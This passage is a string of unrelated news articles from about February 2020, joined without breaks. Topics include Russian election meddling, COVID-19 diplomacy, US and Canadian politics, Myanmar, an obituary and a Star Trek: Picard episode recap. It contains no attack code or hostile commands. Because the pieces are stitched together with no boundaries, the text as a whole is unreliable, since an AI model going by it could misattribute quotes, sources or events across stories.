elections. Senior intelligence officials told members of the House Intelligence Committee last week that Russia was continuing its election sabotage. Intelligence officials also warned House lawmakers that Russia was interfering in the campaign to try to get President Trump re-elected, according to people familiar with the matter. They said that the disclosure to Congress angered Trump, who complained that Democrats would use it against him. Republicans have taken issue with the idea that Russia supports Trump, insisting that Putin simply wants to broadly spread chaos and undermine the democratic system. But some current and former officials say a Russian campaign to support Sanders may ultimately be aimed at aiding Trump, with Moscow potentially considering Sanders a weak opponent for the president. Julian E. Barnes and Sydney Ember are New York Times writers. China's Foreign Minister Wang Yi attends a summit between China and ASEAN (Association of Southeast Asian Nations) on COVID-19 in Vientiane on Feb 20, 2020. (Photo: AFP/Dene-Hern Chen) Speaking in Laos after talks with peers from the 10 Southeast Asian (ASEAN) countries, Wang Yi said the outbreak was "controllable and curable" despite the global panic it has seeded. "China is not only protecting its own people but also the rest of the world," he told the summit in Vientiane, referencing a recent sharp drop in new cases of the virus inside China, where it has killed more than 2,100 people. The hastily-convened summit with ASEAN neighbours comes as a region dependent on the flow of Chinese goods and tourists faces a steep bill following restrictions on movement from China. A similar meeting was held in 2003 following the outbreak of SARS. Originating in the central Chinese city of Wuhan, the new coronavirus - known as COVID-19 - has infected more than 74,000 people inside China. The government has locked down tens of millions of people in several virus-hit cities, extended Chinese New Year holidays and pulled flights in a scramble to contain the virus. Still the health scare has cascaded across Southeast Asia, with cases recorded in the Philippines, Singapore, Thailand and Vietnam. The Philippines, Singapore and Vietnam have restricted flights from mainland China and suspended visa-free arrivals as health screening ramps up at entry points. Thailand, which has imposed no such restrictions, reported a 90 per cent slump in arrivals from the mainland this month, a gut punch to an already beleaguered tourist sector which makes up nearly a fifth of the economy. Thailand anticipates a loss of more than US$8 billion by year's end from the tourist tail-off. 'TEMPORARY IMPACT' But China's Wang said the drop-off would be "temporary". "The outbreak may have taken a toll on cooperation between China and ASEAN but such impacts can be overcome and made-up for ... the long-term trajectory will remain intact," he said during a press conference after the meeting. "Fear is more threatening than the virus, and confidence is more precious than gold," he added. China sees ASEAN as its backyard and has ramped up economic, diplomatic and cultural influence over recent years with billions of dollars of investment, tourist outflows and a bigger presence at regional summits. There are fears prolonged disruption by the virus could slow work on the massive China-backed Belt and Road infrastructure schemes which criss-cross ASEAN. But Wang laughed off concerns on Thursday, telling AFP there "won't be any negative impacts" on various projects dotting the region. "In contrast, it will strengthen our collaboration and unity, and push forward the Belt and Road initiative together," he told AFP. Philippine Foreign Minister Teodoro Locsin Jr thanked China for its "unprecedented domestic measures and quick action" - apparently referring to the lockdowns of several large cities as the virus billowed out. But he recognised the "massively detrimental" economic impact of the disease, which has constricted global trade and tourism vital to many Southeast Asian economies. Tarabas Governor Darius Ishaku has been staying in Abuja for close to two months now, because he is receiving adequate medical treatment for a domestic accident. His spokesman Bala Dan Abu, a senior special assistant, gave this information Thursday night in a reaction to calls for his impeachment for abandoning Jalingo, the capital of the state. Abu did not elaborate on the nature of the domestic accident the governor suffered, but said the governor is recuperating. Abu, a former magazine editor and veteran journalist, dismissed calls for the impeachment of Ishaku, who has stayed out of the state since December. He said Ishakus continued stay in Abuja does not in any way constitute an impeachable offence. He described those calling for the governors impeachment as unpatriotic people, who were only bent on promoting inanities and outright falsehood. We urge the good people of Taraba, their friends and admirers in and outside the state to ignore the campaign of falsehood being orchestrated by some people. His Excellency is desirous to return to the state and will do so when he has sufficiently recovered. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Representative Alexandria Ocasio-Cortez is planning to endorse an all-female group of progressive candidates to build the far left, with some of the challengers going against members already in the Democratic Party. Her endorsements of more than one dozen candidates from her new political action committee will include a progressive challenger to potentially unseat a Texas representative from her party. "I think my ambition right now is to be a little less lonely in Congress," she told the New York Times. Jessica Cisneros is seeking to oust Representative Henry Cueller of Texas in the House primary. Another woman attempting to unseat a current House Democrat is Marie Newman, who is running against Representative Daniel Lipinski of Illinois. Both have Ms Ocasio-Cortez' stamp of approval. Alexandria Ocasio-Cortez pictured during a guest appearance on ABC's 'The View': ABC via Getty Images Ms Ocasio-Cortez gained notoreity among the liberal left of the Democratic Party after herb 2018 election victory when she defeated longtime incumbent Joe Crowley during the primary. This move from the Bronx, New York, representative is her way to reshape the party to mirror similar progressive views. The Democratic Party has faced problems definining what direction it wants to go in leading up to the 2020 election. This problem has become more and more apparent during the presidential primary, with candidates like democratic socialist Bernie Sanders, whom Ms Ocasio-Cortez supports, going up against moderates like Pete Buttigieg and former Vice President Joe Biden. Members of the party have expressed concerns over whether moving more left is a good move for the Democrats, specifically when beating Republicans like President Donald Trump. But Ms Ocasio-Cortez remains confident she wants to see more members like her in Congress, leaving Democratic moderates worrying about their own seats. One of our primary goals is to reward political courage in Congress and also to help elect a progressive majority in the House of Representatives, Ms. Ocasio-Cortez told the newspaper. Theres kind of a dual nature to this: One is opening the door to newcomers, and the other is to reward members of Congress that are exhibiting very large amounts of political courage. More follows Burma Myanmar Military Asks NLD Patron to Join Armed Forces Day Celebration U Tin Oo (center), patron of the National League for Democracy (NLD), at a ceremony to mark the 25th anniversary of the founding of the NLD at the political party's head office in Yangon on Sept. 27, 2013. / REUTERS The Myanmar military has for the first time asked U Tin Oo, patron of the National League for Democracy (NLD) and former military commander-in-chief, to attend Armed Forces Day on March 27. This years celebration marks the 75th anniversary of Armed Forces Day. This year is the first time U Tin Oo, 93, has been invited to join Armed Forces Day since his departure from the military. He joined the army in 1946 and became commander-in-chief and defense minister in 1974 but was forced to retire in March 1976. He was then imprisoned for alleged involvement in an attempted coup in July 1976 and released in 1980. Eight years later he co-founded the NLD, becoming its vice-chairman and then chairman. The politician and retired general has long been disregarded by the Tatmadaw and was put under house arrest twice by the former military juntas, first in from 1989-1995 and then from 2004-2010. This week, the Yangon regional minister of border affairs and security visited U Tin Oo and his family to ask if they would be able to join the diamond jubilee for the 75th Armed Forces Day. U Myint Oo, personal aide to U Tin Oo, told The Irrawaddy that they have yet to receive an official invitation and they have not confirmed the NLD leaders attendance. We will let you know if we get the formal invitation [from the military]. At that point we will discuss the matter with the State Counselor [Daw Aung San Suu Kyi], so we told the minister to wait for a response until the end of this month, U Myint Oo said. U Tin Oo, who suffered a stroke in early 2017, is currently in good health, according to his aide. According to military spokesmen Brigadier General Zaw Min Tun, the military is inviting other former generals, including former head of state Senior General Than Shwe, for next months Armed Forces Day. Armed Forces Day is an annual celebration by the Myanmar military to commemorate their armed struggle against the Japanese fascists in March 1945. For this years 75th anniversary diamond jubilee, invitees include family members of General Smith Dun, who served as the first commander-in-chief of the countrys army from Jan. 4, 1948 to Jan. 31, 1949. On Feb. 14, current military chief Senior General Min Aung Hlaing visited the grave of Gen. Smith Dun during a trip to Kalaw, a hill town in Shan State. He also met with Gen. Smith Duns surviving family members and invited them to the Armed Forces Day Celebration. The visit marks a change in the attitude of the Myanmar military toward Gen. Smith Dun, an ethnic Karen who was removed from his position following the Karen revolution in 1949 and kept under surveillance until his death in 1979. You may also like these stories: Myanmar Military to Probe Two Alleged Massacres by Troops in Rakhine Myanmars Union-Level Ceasefire Monitoring Committee to Meet Next Month Shan Armed Group May Sign Myanmars Nationwide Ceasefire ALBANY The Common Council voted 14-0 Thursday to amend its zoning code in order to place stricter limits on where blood plasma collection centers could open. Councilman Michael OBrien, who introduced the ordinance last year, pushed for a vote after the citys Board of Zoning Appeals unanimously approved an appeal last month that would classify blood plasma donation centers as light manufacturing in areas zoned for that use. CSL Plasma, a Florida-based company that operates over 230 plasma collection centers around the world, proposed opening a center at 900 Central Ave., near the Hannaford supermarket, soon after the city approved a new zoning map in 2017. OBrien said when the city created zoning that included light manufacturing, this was not the type of industry officials had in mind. No one even thought of a blood plasma center, he said on Wednesday before the vote. Its almost as if the zoning board went searching for a category they could drop it in to. Councilman Alfredo Balarin criticized the project Thursday evening, saying the project was proposed in an area where it could take advantage of poorer residents who might be desperate enough to donate plasma to provide for their family. "I represent people that might feel that need and that's not right," he said. Several city residents spoke out against the project during the council meeting on Thursday as well. Margaret Harrigan told the council she was concerned about issues around traffic near the site. "We need livable residential neighborhoods as much as we need economic development activity," she told the council. The proposal has been stalled since the board initially denied the project in 2017. The city planning department later released guidelines that included a 250-foot barrier between any proposed collection center and any home, church or school. OBriens ordinance pushed that barrier back to 1,000 feet, among other changes. Plasma collection involves drawing blood from donors, spinning the blood to remove the red blood cells, and keeping the remaining liquid which is mostly water and proteins. That plasma is then used in therapies and medical procedures. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The company says donors can earn up to $400 a month but an average session pays around $30 to $40 an hour, typically paid in prepaid debit cards or gift cards. Plasma collection companies have been criticized for targeting poorer residents and college students. Typically they are located near bus lines and strip malls. Zachary Simpson, vice president of the Upper Washington Neighborhood Association, said residents have pushed back against allowing the center to open in that location, expressing concerns about loitering and other issues. "This is a residential neighborhood, we need to protect our neighborhood," he said on Wednesday. "We're not trying to zone it out of existence." Critics of Donald Trump applauded a three-year prison sentence for his longtime pal and political adviser Roger Stone, with a top House Democrat saying a pardon would be a "breathtaking act of corruption." A federal judge sentenced the longtime GOP political operative to 40 months behind bars on Thursday for lying to Congress and obstructing Special Counsel Robert S. Mueller III's Russia election meddling probe. During a lengthy statement she read before handing down the sentence, Judge Amy Berman Jackson said bluntly that Mr Stone was convicted of "covering up for the president." He came under investigators' scrutiny for his contacts with Russians and alleged contacts with Wikileaks, which published reams of hacked emails from Democratic servers and personal email accounts with the goal of hurting Hillary Clinton's 2016 campaign. AP Mr Trump groused about the coming sentence as Ms Berman Jackson harshly criticised Mr Stone in a Washington courtroom. The president recently called the Justice Department's initial-then former-then final recommendation of a sentence between seven and nine years a "miscarriage of justice" while also floating the notion of a pardon. As expected, the president's critics were quick to applaud the 40-month sentence. "Roger Stone was found guilty of lying to Congress and threatening a witness. He did it to cover up for Trump. His sentence is justified," tweeted House Intelligence Committee Chairman Adam Schiff, Democrats' lead impeachment manager in the trial that led to Mr Trump's acquittal on two counts. "It should go without saying," the California Democrat added, "but to pardon Stone when his crimes were committed to protect Trump would be a breathtaking act of corruption." Mieke Eoyang, a former senior aide to the late Senator Ted Kennedy of Massachusetts and Democrats' staff director on the House Permanent Select Committee on Intelligence, wondered on Twitter just why the president got involved. "At the end of the day, Trump's interference with the sentencing, leading to the withdrawal/resignation of career prosecutors, and doubt casting on DOJ's independence, was totally unnecessary," she wrote. "A whole lot of sound and fury, signifying nothing." Story continues Read more Who said it: Donald Trump or Michael Bloomberg? Trump friend and ally Roger Stone sentenced to 40 months in prison Its now 15 days into the Coastal GasLink showdown, and propane in rural Ontario and Quebec is running desperately low. Layoffs in rail transportation and manufacturing are in the air. Spontaneous protests are popping up unpredictably across the country. Even if the federal Liberals dont want to impose a deadline in resolving the Wetsuweten conflict that has thrown Ottawa into crisis and parts of the economy into paralysis, everyday reality is imposing a deadline on them. So as our political leaders desperately look for solid ideas for how to make things better, the very least they can do is make sure they dont make things worse. A good start on that score would be deferring a final decision on whether Teck Resources can go ahead with its plans to build a giant new oilsands operation in Alberta. The government has until the end of the month to decide whether or not to give the company a green light on its project which would employ thousands of people over the years, but also drive up greenhouse gases. But the decision is loaded with controversy because the government of Alberta has made it a test of national unity and of the federal Liberals dedication to allowing jobs and growth to expand in the oilsands. And environmentalists have made it a test of the Liberals resolve to take on climate change. A month ago, the decision on Teck was already tearing apart the Liberals, with many backbench MPs who feel they were elected for their environmentalism balking at the thought of an approval that would take the country further from its climate change commitments. Way back then, before the blockades halted cargo and passenger rail traffic and before industries in central Canada started to feel the effects, a formal delay on Teck seemed like the cowards way out. A government that has the courage of its convictions shouldnt need extra time after all the scrutiny this project has undergone. But today, amid the blockades, the first priority must be to first, do no harm as the medical profession says to the state of business and governance made so precarious by the unpredictable tentacles of the protests. Doing no harm may not be as obvious as youd think. Over the past week, both the Liberals and the Conservatives have done just that exacerbated a fragile situation with poorly orchestrated moves that reek of petty politics rather than the generous creative thinking thats required. In particular, Justin Trudeau alienated many a Conservative by deliberately excluding Andrew Scheer from his leaders strategy meeting earlier this week. And the presumed front-runner in the ongoing Conservative leadership race to replace Scheer, Peter MacKay, has branded all protesters to be thugs, and praised the vigilante action of some Edmontonians when they removed barricades from the railroad this week. But the divisive effect of both of those tactics will pale in comparison to the disruption a firm decision on Tecks Frontier project would bring if it were made right now, just as there is some small hint of hope that federal leaders, premiers, the RCMP and Indigenous activists may be finding a way to cool things down on the blockades. Thats because many of the same groups of people and many of the same issues are involved in both the Teck decision and the blockades. Environmental activists are heavily engaged in bolstering the blockades and also in opposing the approval of Teck. Conservatives are backing pro-resource development action in both cases, and are rallying their supporters to their cause. Its a tinder box that a firm decision on Teck would set a match to. The economic consequences of a delayed decision on Teck would be minimal. Even with a green light, the project is years away from reality, and market conditions would have to be just right for the company to make it a going concern. Alberta Premier Jason Kenney has argued that a federal no to Teck would have the immediate effect of sending a signal to investors that Canada is an unreliable place to do business and cant guarantee peace and security for economic development. But the current dispute, and how the federal government handles it, is already sending plenty of signals to the investment community about the conditions for natural resource development. How Canada handles the blockades, whether the barriers come down without violence, and how the government collaborates with Indigenous communities to firmly establish who owns what over the long term the answers to those questions will be far more meaningful to Canadas economic future than a hasty, incendiary call on Teck. Read more about: Bengaluru, Feb 21 : Father of Bengaluru girl Amulya, who has been arrested on sedition charges, on Friday condemned his daughter for shouting pro Pakistan slogan at an anti-CAA rally on Thursday here. "I condemn Amulya for shouting pro-Pakistan slogan at the rally and disown her views on CAA, NRC or NPR. I was not aware about her act till a friend called and told me about it last (Friday) night," Oswald Naronha told a local news channel from his home at Koppa in Karnataka's Chikkamagaluru district. Koppa is about 320km west of Bengaluru in the southern state. Earlier in the day, Amulya was sent to 14-day judicial custody after police arrested and produced her before a local magistrate in a sedition case filed suo motu against her. "I also advised her not to criticise Prime Minister Narendra Modi and Union Home Minister Amit Shah for enacting the CAA. She does not listen to us. She has gone out of our control. I am sad and unhappy that she got into trouble for her views," Naronha lamented. Meanwhile, Naronha filed a complaint in a local police station at Koppa against some unidentified BJP activists for allegedly attacking his house in Koppa for Amulya's pro-Pakistan slogans. "The activists vandalised our house by smashing window glass panes, flower pots and damaging other household things," Naronha said in the complaint. The 19-year-old is a second year student in a degree college pursuing BA in literature, sociology, psychology and journalism. Hope Dellon, former longtime editor at St. Martin's Press, died on February 19 surrounded by family in New York. She was 67. Dellon joined St. Martin's as an editorial assistant in 1975 after a stint at Harper & Row, and was named an editor in 1977. Dellon eventually became an executive editor for the imprint from which she formally retired last month following an extended medical leave, noting on social media, "it was my life's work, and I miss it." During her decades-spanning career at St. Martin's she worked with a number of high profile books, including those from Louise Penny, Bernard Cornwell, M. C. Beaton, Margaret George, Daisy Goodwin, Andrew Morton, Allison Pearson, Gail Tsukiyama, Therese Fowler, Kathleen Rooney, Erica Swyler, Alan Brennert, Julian Fellowes, Laura Joh Rowland, Jane Cleland, Becky Masterman, Tessa Byrd, and many, many others. Friends at St. Martin's remember Dellon as "not just a brilliant editor, but an extraordinary woman whose interests were deep, passionate and wide ranging" and imbued by her and her husband of 40-plus years Charles into their two daughters. Colleagues note that "she was unafraid of controversy and conflict, but always with the best interests of her books and authors in mind"---a trait perhaps best exemplified by her willingness to help acquire and then kill a book with a $4.5 million advance (or her willingness to become an Amazon Prime member specifically so they'd lose money shipping her a refrigerator for free). St. Martin's editor-in-chief George Witte remembers her as "our author champion, wise counsel, acute reader, dead-honest conscience, careful mentor, house royal watcher, Austen obsessive, and beloved colleague." Collectively, colleagues say that, "during her 44 years at St. Martin's, she endowed the company with so much of her inimitable spirit and is responsible for so much of what SMP is today...[T]hose who had the privilege to work with her were invariably better for the experience. We will not be the same without her." And this writer will always remember Thanksgiving just three months ago, standing in my kitchen talking about the latest industry happenings with my cousin Hope. A fund at the New York Public Library has been created in her honor. Those wishing to contribute can do so here. Here's your chance to beam out to avoid spoilers for episode 5 of "Star Trek: Picard." Episode 5 of "Star Trek: Picard," entitled "Stardust City Rag," marks the halfway point of the show's first season on CBS All Access and the second episode to be produced under the supervision of " Star Trek " veteran Jonathan Frakes, who also directed last week's episode . However, unlike last week's, which gave us Elnor (Evan Evagora) the return of Seven of Nine (Jeri Ryan) and not much else, this week's episode swings to the other extreme and is positively jam-packed. In fact, there's probably too much going on and the surprise twist at the end could've easily been carried over to next week. But more about that a little later. In fact, this week's episode contained some of the very best scenes in the series so far; we saw some new and really interesting locations in the "Star Trek" universe plus some well-placed humor, quality action and great dialogue. The only grumble we have is that there was a bit too much going on, because it exacerbates the uneven story flow, especially when it directly follows an episode like last week's. Join our Picard Panel! Tune in each Friday as we talk 'Star Trek: Picard!' Related: A complete guide to what 'Star Trek' to watch before 'Star Trek: Picard' We start on the planet Vergessen, in the Hypatia system. This is a new world to "Star Trek" canon and normally we'd have little to say about this. But showrunner Michael Chabon has evidently put a lot of thought into the name of each new world in "Picard" so it's worth taking a pause to ponder. For instance, Vashti, that was the setting for much of last week's episode, is named after Queen Vashti from the "Book of Esther," an independent, strong-minded woman, which is fitting for the home of the Qowat Milat. Vergessen is German and, depending on context, generally equates to "forgotten" and we'll soon see perhaps why this was chosen. We zoom into a location called the Seven Domes and we learn that we're seeing events from 13 years ago. It quickly becomes clear that we're in some kind of surgical theater, only this is more Dr. Mengele than Dr. McCoy. Blood stains the bed and we see some poor, strapped down individual having his left eye actually plucked out. It's very well shot using practical effects and doesn't shy away from the unpleasantness of what's going on. Then we see who it actually is...it's Lt. Icheb, from "Voyager," still in his Starfleet uniform (played by Casey King this time around, not Manu Intiraymi, who played him in "Voyager"). Reclaimed Borg tech is clearly big business on the black market and business appears to be booming. (Image credit: CBS) Icheb was a young Brunali male and former Borg drone who was discovered by USS Voyager along with four other adolescent drones in 2376 in the episode "Collective" (S06, E16). Seven was instrumental in his recovery and the two formed a very close mother and son-like relationship. He eventually applied to Starfleet Academy ("Imperfection" S07, E02) and returned with the crew back to the Alpha Quadrant. Bodies lie bloodsoaked and motionless on other beds in this alien abattoir. The surgeon is removing his Borg implants with all the sensitivity and skill of a slaughterhouse giblet gutter. Moments before she's about to shove something large and unwieldy into his other eye, there's a disturbance in the distance and she takes a full blaster bolt in the chest, which sends her flying backwards. Barely managing to look up, Icheb sees Seven holstering her sidearm. She cradles him in her arms and tries to untie his restraints. He stops her and begs Seven to end it. She's sobbing and so are we at this point she takes her hand phaser, holds his head to hers and shoots him in the chest at point blank range. As the camera briefly pans around the room before the frame fades out, we see a lot of scavenged, surgically removed Borg tech littering the room. Evidently, this is big business in the Alpha Quadrant underworld. Related: 'Star Trek: Section 31' to start filming when 'Discovery' season 3 wraps Unusually, the pre-credit sequence is two separate parts this week (see earlier point about cramming a lot in) and we fade back in to the present day in Stardust City on Freecloud, in the Alpha Doradus system. It looks like we were right; Freecloud does seem to be a lawless locale where only the well armed and the resourceful survive. Inside an exclusive nightclub we see the owner, Bajayzl (Necar Zadegan), clearly a powerful individual on the criminal circuit and her beefy bodyguard, a Beta Annari named Mr. Vup (Dominic Burgess). His interruption annoys her, until he grunts, "Maddox." She chuckles, "How the mighty have fallen. Kill him." "Wait," she says quickly. "New plan." And then we see him, for the very first time, Dr. Bruce Maddox (played by John Ales, not Brian Brophy). Clearly he's seen better days and clearly he also knows Bajayzl. She brings him a drink and he explains that he's been in hiding. Someone destroyed his laboratory. "They used some kind of molecular solvent to destroy the entire facility. There's literally nothing left," he says, his hands shaking as he nervously gulps from his glass. "I don't know how I'm ever going to repay your loan," he says. Could Bruce Maddox himself be a synth? Like Eldon Tyrell was in a dropped scene from "Blade Runner"? (Image credit: CBS) "Who do you think did this to you..?" Bajayzl asks, who up until now has shown little emotion. "I think it was the Tal Shiar," he whispers. But now she reacts. She sits back in her chair and purrs, "Well, that does change things a bit." At which point Maddox drops his glass, which smashes, and he collapses on the floor. "Making a deal with the Tal Shiar is always such a pain in the ass," she sighs. Roll opening credits. We return to the holosuite reproduction of the Picard chateau on board the La Sirena. Seven enters and it's the first time both she and Picard (Patrick Stewart) have had a chance to chat. He pours her a bourbon, neat, which she downs. (Makes you wonder exactly what's real and what's part of the holo-matrix. So, if the program ended, wouldn't the bottle of bourbon smash on the floor?) Related: 'Star Trek: Picard' episode 4 surrenders quality for more setup We get a little insight into what Seven has been up to since Voyager return to Earth, 21 years ago. In essence, she's a Fenris Ranger and her reputation is known as notorious across the galaxy. By the sounds of things, they're peace-keeping role is very similar to the Rangers, or Anla'Shok, in "Babylon 5" (but sadly she doesn't get an oh-so-cool Denn'bok fighting pike). Picard tries to recruit Seven to his cause and at first she's not interested, but after another bourbon she agrees. We cut to Dr. Agnes Jurati (Alison Pill) who's watching a vid of her baking chocolate chip cookies with a bearded older gentleman, who we now know to be Maddox. This obviously serves to reinforce the notion that she had a relationship with the good doctor and thus starts setting up the episode climax, but this could just as effectively have been shown at an earlier point on the La Sirena in last week's episode for instance and therefore making the shock ending of this week's episode a little less predictable. What happens in Stardust City, stays in Stardust City. Welcome to Las Vegas of the 24th century. (Image credit: CBS) As they approach Freecloud and Stardust City each one of the crew except Elnor, which makes sense gets targeted by a holographic pop-up advert that seems to know a little bit about their behavior. It's a fun, well observed and nicely written scene that fills us full of trepidation as to what the future has to offer. Raffi (Michelle Hurd) manages to locate Maddox by doing some fancy hacking and pretending to be an "interface" essentially go-betweens for hire and registering with a local 'facers guild. She discovers that Maddox is being held by Bajayzl, which is glossed over by everyone else except Seven. "She butchers ex-Borg for parts," Seven informs them with a cold, deadly sense of dread. "She's been high on the Rangers' wanted list for years." The team concludes they can't simply extract Maddox and they can't outbid the Tal Shiar, so they're going to tempt Bajayzl with something that she really wants: Seven of Nine. And thus begins the second act and one of the best set pieces in the series so far the Stardust City sting. Video: Patrick Stewart and Isa Briones talk Trek with Space.com Stardust City itself is a little reminiscent of "the internet" in " Futurama " in the episode of the same name (S02, E09), or possibly "the grid" from "Tron." It doesn't have the depth or texture of any "Blade Runner"-themed retrotech-cyberpunk aesthetic; it's Las Vegas of the future after all. But wherever you think it's taking its visual cues from, it's interesting and effective. The set piece itself is edited together in a back-and-forth fashion that walks you through the concept and execution of this heist-of-sorts. It works well and nicely accentuates the understated humor. Rios (Santiago Cabrera) is dressed er, extravagantly, in order to look like a 'facer. Imagine Stanley Ipkiss from " The Mask " meets Christopher Columbus circa Spain 1492. Picard, on the other hand, has gone more musketeer with his choice. "'Facers tend to dress very flamboyantly," Raffi explains. "It's protective coloration. You're playing go-between, you want to stand out you don't want anyone mixing you up with the other side." "You seriously, really need to sell this," she tells Rios. "You can't do your broody, existentialist spaceman routine, your personality needs to match your clothes. You need to show a little panache." "You need a feather in your hat," Seven quips, nailing the deadpan delivery. He's fresh, he's fly, he's the ace of space, the king of cool; he's Rios, the famous, flamboyant 'facer.' (Image credit: CBS) And we're back in the nightclub where we first met Bajayzl and Rios does his best to blend in, which is a joy to watch. If anyone deserves their own "Star Trek" spin-off series, it's Cristobal Rios. Before he can get to Bajayzl however, he has to get past her bodyguard, Mr. Vup, but that's easier said than done, because Mr. Vup is from Beta Annari, which means he can detect if you're lying by your scent. Thankfully though, Raffi's prepared a hyposhot of some scent gland-something-or-other plus some benzodiazepines very nice to help Rios mask his true intentions and block the super smell powers of Mr. Vup. Elnor (Evan Evagora) is providing back up although he's hardly said two words this week and transport out of the club when everything goes south because it almost certainly will is being handled by Dr. Jurati. Related: The 10 best 'Star Trek' episodes ever Picard and undoubtedly Patrick Stewart clearly enjoys this role-playing opportunity and you could argue Stewart maybe hams it up just a fraction too much. Meanwhile, Stardust City was originally Raffi's stop and so she makes plans to leave the La Sirena and meet up with her son, Gabriel Hwang (Mason Gooding). There's an emotional farewell between her and Picard and down she beams. Unfortunately, this family reunion doesn't go quite the way she had hoped and he doesn't want anything to do with her. Unfortunately, because there's been so much you-weren't-there-for-me angst already, his reaction to her olive branch offering comes as no surprise and reaffirms that Raffi's real family is on the La Sirena. There were a couple of curious takeaways though, Gabriel mentions something called the Conclave of Eight, which may or may not turn out to be important and also his pregnant wife is Romulan, which could raise some interesting possibilities. Now buttle off and tell Bajayzl that Monsieur Picard and his lovely assistant are here to view the tapestries. (Image credit: CBS) Back in the bar, Bajayzl has finally showed up and the exchange is being negotiated. Maddox has been rolled out and he's clearly not in the best of health, meanwhile the inevitable confrontation between Seven and Bajayzl begins. Dr. Jurati is pacing up and down near the transport pads on the La Sirena and she's extremely apprehensive about something; naturally, we're meant to think it's about the exfil operation that's currently not going according to plan on the planet below. Rios whispers to her over the comlink that it looks like everyone is going to have beam out in hurry. Seven breaks out of her cuffs as was the plan and grabs Bajayzl by her neck. Picard appears surprised to hear that the two had so much history. Seven tells the story, how Bajayzl posed as part of the Fenris so she could ambush the USS Coleman, where Lt. Icheb served as science officer, so she could strip his Borg implants. Picard pleads with Seven using the whole murder-isn't-justice argument and at this point even the viewer is screaming, "Yes it is!" at the television. Rios however, offers more relevant logic: if Seven kills Bajayzl, it puts a bounty on all of them. Related: The 25 greatest spaceships of science fiction Seven reluctantly agrees and everyone, including Maddox beam back to the La Sirena. Picard is thrilled that Seven acted responsiblybut Rios, who understands revenge, discreetly leaves the transport pattern enhancer on the control console for Seven to equally as discreetly put in her pocket. There's some nice dialogue between Seven and Picard about regaining their lost humanity after their respective ordeals with the Borg and then Seven transports off the La Sirena. We follow Seven as she materializes back into the bar we just left. Instantly, she blasts two bodyguards and that sends everyone else either running or hastily beaming out until only Bajayzl and Seven are left. (You'd really think Bajayzl would have some emergency transport set up.) A final confrontation follows before the former crewmember of the USS Voyager gives the black market Borg tech dealer both barrels. And then we're in sickbay on the La Sirena where Maddox and Picard finally have a chance to talk. Picard tells him that Dahj (Isa Briones) is dead and Maddox says that her "embedded Mum AI wouldn't have activated her unless she was in grave danger". Maddox then confirms that she has a sister at which point Dr. Jurati's ears prick up and that she's on "the artifact" the captured Borg cube to find out the truth about the ban. "There's lies upon lies," he struggles to say, while still in a great deal of pain. Seven of Nine gets some long overdue revenge for the death of Icheb, who was like a son to her. (Image credit: CBS) And had the episode ended there, that would've been plenty for us to get our heads around this week. But no It turns out that Raffi is back onboard and has locked herself in her quartersbut more importantly than that is the scene that follows between Jurati and Maddox as they share a tender moment. "We did it Aggie; Soong and I and you. Your contribution was essential," he murmurs, while she looks down at him, tears streaking down her cheeks. "One more thing I have to atone for," she says. "What do you mean..??" he asks, looking up at her in horror as she begins to shut down his life support. Choking, his eyes bulging, he tries to call out her name. "I wish you knew what I know," she says, sobbing. "I wish I didn't know what I know. I wish they hadn't shown me. I'm so sorry" And that's the end of episode 5 and the good doctor Bruce Maddox. We've speculated before that given Kurtzman's obsession with linking everything together, the Zhat Vash could be a reference to the 33rd century "V'draysh" from in the "Short Trek" episode "Calypso." Could the mission of the Zhat Vash be to maintain peace? Laris said in episode 2, that the Zhat Vash are keepers of a secret so terrible, could the Destroyer be Control, that we saw in convoluted plot of "Discovery" Season 2? Has Agnes Jurati been sent back the future? Or is she possibly a synthetic herself? Stay tuned to find out more. Starfleet commendation Icheb and his fate were both tragic and terrific, great character call back. Plenty of Easter eggs on Freecloud, including signs for Quark's and Mr. Mot. Whether it's as a hologram or a 'facer, Santiago Cabrera steals every scene. Thanks for not featuring any incestuous shenanigans from the Rizzo siblings. More new locations showing the criminal underworld of the galaxy please. Scrubbing the holodecks Here's Bruce Maddox at long last. Oher, well, that was Bruce Maddox. Some inconsistency over leftover Borg implants, no mention of Picard's. Picard has just a little bit too much fun in his Monsieur Mercenary roleplay. Perhaps Bajayzl wasn't the best name to choose for a female adversary. Elnor might be the best sword in the sector, but he doesn't do comedy well. Rating: 8/10 Related: 'Star Trek' Picard Series: Here Are Some Bold Ideas We'd Love to See The 10-episode "Star Trek: Picard" series will air on the paid subscription streaming service CBS All Access in the U.S., and in Canada on Bell Media's Space and OTT service Crave. New episodes will air each week, with episode 6 arriving on 27 February 2020. CBS and Amazon Studios have announced that the new show will stream exclusively on Amazon Prime Video in more than 200 countries worldwide within 24 hours of its premiere on CBS All Access and Space in the US and Canada, respectively. CBS All Access subscription is the home of "Star Trek: Picard," "Star Trek: Discovery" and a host of other original and archival CBS television shows. Subscriptions start at $5.99 a month. You can try CBS All Access for a week free here. Follow Scott Snowden on Twitter. Follow us on Twitter @Spacedotcom and on Facebook. Ukraine stands for the deployment of peacekeepers throughout the occupied Donbas, not only along the line of contact. Foreign Minister Vadym Prystaiko says the settlement of the armed conflict in Donbas, sparked by Russia, will have no prospects until the border, through which Russian weapons are delivered, is sealed. The comment came at a New York briefing on Thursday following a debate at the UN General Assembly on the situation in the temporarily occupied territories of Ukraine. Asked about the possibility of deploying peacekeepers in eastern Ukraine, Prystaiko said he was set to meet with UN Secretary-General Antonio Guterres, and had already raised the issue of peacekeepers before the chairman of the 74th session of the UN General Assembly, Tijjani Muhammad-Bande. Prystaiko recalled that Ukraine had already raised the issue of peacekeepers in 2015, and that Kyiv would be pleased if this issue was considered. Read alsoUkraine working on new version of Minsk Agreements despite Russia's stance He underlined Ukraine's position that the peacekeeping mission must be deployed throughout Donbas, not just the demarcation line as the Russians suggested. Prystaiko added that the "problems" revolve around the Ukraine-Russia border rather than the line of contact, and if no agreement is reached with Russia that the border should be closed to everyone who crosses in, bringing weapons, there will be no prospects for a settlement. Also, he noted that the Russians did not agree with this option. Russian President Vladimir Putin during the Normandy Four summit in Paris December 9, 2019, once again insisted on the idea of launching a peacekeeping operation, which he says should protect the OSCE SMM along the demarcation line. According to him, at the same time, Putin was reminded that the mandate of the OSCE Special Monitoring Mission extends across the entire territory of Donbas, not only to the area along the demarcation line, so the so-called "idea of protection" means that the monitors' movement will be limited. As UNIAN reported earlier, Vadym Prystaiko noted that Ukraine was expecting another exchange of held persons with the Russian Federation in the near future. BOISE Conservatives in Oregon want to join Idaho, and 